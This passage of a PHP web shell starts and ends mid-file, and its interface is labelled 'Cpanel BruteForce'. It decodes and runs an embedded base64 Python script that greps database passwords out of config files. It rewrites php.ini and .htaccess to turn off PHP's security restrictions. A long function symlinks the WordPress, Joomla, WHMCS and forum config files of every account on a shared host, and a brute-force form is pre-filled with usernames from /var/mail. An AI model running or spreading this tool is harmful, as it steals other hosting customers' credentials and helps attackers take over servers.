CBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
 
function syml($usern,$pdomain)
        {
                symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
                symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
                symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
                symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
                symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
                symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
                symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
                symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
                symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
                symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
                symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
                symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
                symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
                symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
                symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
                symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
                symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
                symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
                symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
                symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
                symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
                symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
                symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
                symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
                symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
                symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
                symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
                symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
                symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
                symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
                symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
        }
 
                                $d0mains = @file("/etc/named.conf");
               
                                if($d0mains)
                                {
                                        mkdir($fn);
                                        chdir($fn);
                                                                               
                                        foreach($d0mains as $d0main)
                                        {
                                                if(eregi("zone",$d0main))
                                                {
                                                        preg_match_all('#zone "(.*)"#', $d0main, $domains);
                                                        flush();
                                                               
                                                        if(strlen(trim($domains[1][0])) > 2)
                                                        {
                                                                $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
                                                               
                                                                syml($user['name'],$domains[1][0]);                                    
                                                        }
                                                }
                                        }
                                        echo "<center><font color=lime size=3>[ Done ]</font></center>";
                                        echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
                                }
                                else
                                {
                                        mkdir($fn);
                                        chdir($fn);
                                        $temp = "";
                                        $val1 = 0;
                                        $val2 = 1000;
                                        for(;$val1 <= $val2;$val1++)
                                        {
                                                $uid = @posix_getpwuid($val1);
                                                if ($uid)
                                                        $temp .= join(':',$uid)."
";
                                         }
                                         echo '<br/>';
                                         $temp = trim($temp);
                                         
                                         $file5 = fopen("test.txt","w");
                                         fputs($file5,$temp);
                                         fclose($file5);
 
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
                                         
                                         $file = fopen("test.txt", "r") or exit("Unable to open file!");
                                         while(!feof($file))
                                         {
                                                $s = fgets($file);
                                                $matches = array();
                                                $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
                                                $matches = str_replace("home/","",$matches[1]);
                                                if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
                                                        continue;
                                                syml($matches,$matches);
                                         }
                                        fclose($file);
                                        echo "</table>";
                                        unlink("test.txt");
                                        echo "<center><font color=lime size=3>[ Done ]</font></center>";
                                        echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
                                }
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
        <strong>
<input name="page" type="hidden" value="find"><table>                                  
    </strong><br><br><center><font size="5" align="center" style="italic" color="#FF9900">=[ Cpanel BruteForce ]=</font></center><br><br>
    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
        <tr>
        <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
        <center><b><font size="5" style="italic" color="#FF9900">Cpanel BruteForce</font></b></center></td></tr>
    <tr>
    <td>
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
        <strong>User :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
        <strong>Pass :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
        <strong>Type :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
    <span class="style2"><strong>Simple : </strong> </span>
        <strong>
        <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
    <font class="style2"><strong>/etc/passwd : </strong> </font>
        <strong>
